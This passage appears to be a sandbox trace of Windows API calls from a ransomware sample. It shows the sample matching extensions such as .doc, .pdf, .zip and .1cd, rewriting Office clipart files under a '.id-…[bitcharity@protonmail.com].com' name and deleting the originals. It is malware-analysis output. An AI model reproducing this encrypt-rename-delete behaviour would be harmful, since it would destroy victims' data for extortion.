[0297.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.814] lstrlenW (lpString=".1cd") returned 4 [0297.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0297.814] lstrlenW (lpString=".jpg") returned 4 [0297.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.814] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.814] lstrlenW (lpString="FD00382_.WMF") returned 12 [0297.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.826] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=8424) returned 1 [0297.827] CloseHandle (hObject=0x10cc) returned 1 [0297.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0297.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0297.829] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.829] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0297.832] GetLastError () returned 0x0 [0297.832] ReadFile (in: hFile=0x10cc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x20e8, lpOverlapped=0x0) returned 1 [0297.951] WriteFile (in: hFile=0x10c0, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x20f0, lpOverlapped=0x0) returned 1 [0297.952] ReadFile (in: hFile=0x10cc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.952] WriteFile (in: hFile=0x10c0, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.952] SetEndOfFile (hFile=0x10c0) returned 1 [0297.956] CloseHandle (hObject=0x10c0) returned 1 [0297.956] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.956] SetEndOfFile (hFile=0x10cc) returned 1 [0297.957] CloseHandle (hObject=0x10cc) returned 1 [0297.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0297.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.957] lstrlenW (lpString=".doc") returned 4 [0297.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.957] lstrlenW (lpString=".docx") returned 5 [0297.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.958] lstrlenW (lpString=".pdf") returned 4 [0297.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString=".xls") returned 4 [0297.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.958] lstrlenW (lpString=".xlsx") returned 5 [0297.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.958] lstrlenW (lpString=".ppt") returned 4 [0297.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.958] lstrlenW (lpString=".zip") returned 4 [0297.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.958] lstrlenW (lpString=".rar") returned 4 [0297.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString=".bz2") returned 4 [0297.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString=".7z") returned 3 [0297.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.958] lstrlenW (lpString=".dbf") returned 4 [0297.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.958] lstrlenW (lpString=".1cd") returned 4 [0297.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.958] lstrlenW (lpString=".jpg") returned 4 [0297.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.958] lstrlenW (lpString=".doc") returned 4 [0297.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString=".docx") returned 5 [0297.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.958] lstrlenW (lpString=".pdf") returned 4 [0297.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.958] lstrlenW (lpString=".xls") returned 4 [0297.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.959] lstrlenW (lpString=".xlsx") returned 5 [0297.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.959] lstrlenW (lpString=".ppt") returned 4 [0297.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.959] lstrlenW (lpString=".zip") returned 4 [0297.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.959] lstrlenW (lpString=".rar") returned 4 [0297.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.959] lstrlenW (lpString=".bz2") returned 4 [0297.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.959] lstrlenW (lpString=".7z") returned 3 [0297.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.959] lstrlenW (lpString=".dbf") returned 4 [0297.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.959] lstrlenW (lpString=".1cd") returned 4 [0297.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0297.959] lstrlenW (lpString=".jpg") returned 4 [0297.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.959] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.959] lstrlenW (lpString="FD00438_.WMF") returned 12 [0297.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0297.963] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=5098) returned 1 [0297.963] CloseHandle (hObject=0x10a0) returned 1 [0297.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0297.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0297.963] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.963] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0297.964] GetLastError () returned 0x0 [0297.964] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x13ea, lpOverlapped=0x0) returned 1 [0298.016] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0298.017] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.017] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.017] SetEndOfFile (hFile=0x109c) returned 1 [0298.017] CloseHandle (hObject=0x109c) returned 1 [0298.017] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.017] SetEndOfFile (hFile=0x10a0) returned 1 [0298.018] CloseHandle (hObject=0x10a0) returned 1 [0298.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0298.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.019] lstrlenW (lpString=".doc") returned 4 [0298.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.019] lstrlenW (lpString=".docx") returned 5 [0298.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.019] lstrlenW (lpString=".pdf") returned 4 [0298.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.019] lstrlenW (lpString=".xls") returned 4 [0298.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.019] lstrlenW (lpString=".xlsx") returned 5 [0298.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.019] lstrlenW (lpString=".ppt") returned 4 [0298.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.019] lstrlenW (lpString=".zip") returned 4 [0298.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.019] lstrlenW (lpString=".rar") returned 4 [0298.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.019] lstrlenW (lpString=".bz2") returned 4 [0298.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.019] lstrlenW (lpString=".7z") returned 3 [0298.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.019] lstrlenW (lpString=".dbf") returned 4 [0298.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.019] lstrlenW (lpString=".1cd") returned 4 [0298.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.019] lstrlenW (lpString=".jpg") returned 4 [0298.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.019] lstrlenW (lpString=".doc") returned 4 [0298.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.020] lstrlenW (lpString=".docx") returned 5 [0298.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.020] lstrlenW (lpString=".pdf") returned 4 [0298.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.020] lstrlenW (lpString=".xls") returned 4 [0298.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.020] lstrlenW (lpString=".xlsx") returned 5 [0298.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.020] lstrlenW (lpString=".ppt") returned 4 [0298.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.020] lstrlenW (lpString=".zip") returned 4 [0298.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.020] lstrlenW (lpString=".rar") returned 4 [0298.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.020] lstrlenW (lpString=".bz2") returned 4 [0298.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.020] lstrlenW (lpString=".7z") returned 3 [0298.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.020] lstrlenW (lpString=".dbf") returned 4 [0298.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.020] lstrlenW (lpString=".1cd") returned 4 [0298.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0298.020] lstrlenW (lpString=".jpg") returned 4 [0298.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.020] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.020] lstrlenW (lpString="FD00459_.WMF") returned 12 [0298.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.021] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=17406) returned 1 [0298.021] CloseHandle (hObject=0x10a0) returned 1 [0298.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0298.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.021] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.021] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.022] GetLastError () returned 0x0 [0298.022] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x43fe, lpOverlapped=0x0) returned 1 [0298.037] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x4400, lpOverlapped=0x0) returned 1 [0298.040] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.040] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.040] SetEndOfFile (hFile=0x109c) returned 1 [0298.040] CloseHandle (hObject=0x109c) returned 1 [0298.040] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.041] SetEndOfFile (hFile=0x10a0) returned 1 [0298.041] CloseHandle (hObject=0x10a0) returned 1 [0298.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0298.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.042] lstrlenW (lpString=".doc") returned 4 [0298.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.042] lstrlenW (lpString=".docx") returned 5 [0298.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.042] lstrlenW (lpString=".pdf") returned 4 [0298.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.042] lstrlenW (lpString=".xls") returned 4 [0298.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.042] lstrlenW (lpString=".xlsx") returned 5 [0298.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.042] lstrlenW (lpString=".ppt") returned 4 [0298.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.042] lstrlenW (lpString=".zip") returned 4 [0298.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.042] lstrlenW (lpString=".rar") returned 4 [0298.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.042] lstrlenW (lpString=".bz2") returned 4 [0298.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString=".7z") returned 3 [0298.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.043] lstrlenW (lpString=".dbf") returned 4 [0298.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.043] lstrlenW (lpString=".1cd") returned 4 [0298.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.043] lstrlenW (lpString=".jpg") returned 4 [0298.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.043] lstrlenW (lpString=".doc") returned 4 [0298.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString=".docx") returned 5 [0298.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.043] lstrlenW (lpString=".pdf") returned 4 [0298.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString=".xls") returned 4 [0298.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.043] lstrlenW (lpString=".xlsx") returned 5 [0298.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.043] lstrlenW (lpString=".ppt") returned 4 [0298.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.043] lstrlenW (lpString=".zip") returned 4 [0298.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.043] lstrlenW (lpString=".rar") returned 4 [0298.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString=".bz2") returned 4 [0298.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.043] lstrlenW (lpString=".7z") returned 3 [0298.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.044] lstrlenW (lpString=".dbf") returned 4 [0298.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.044] lstrlenW (lpString=".1cd") returned 4 [0298.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.044] lstrlenW 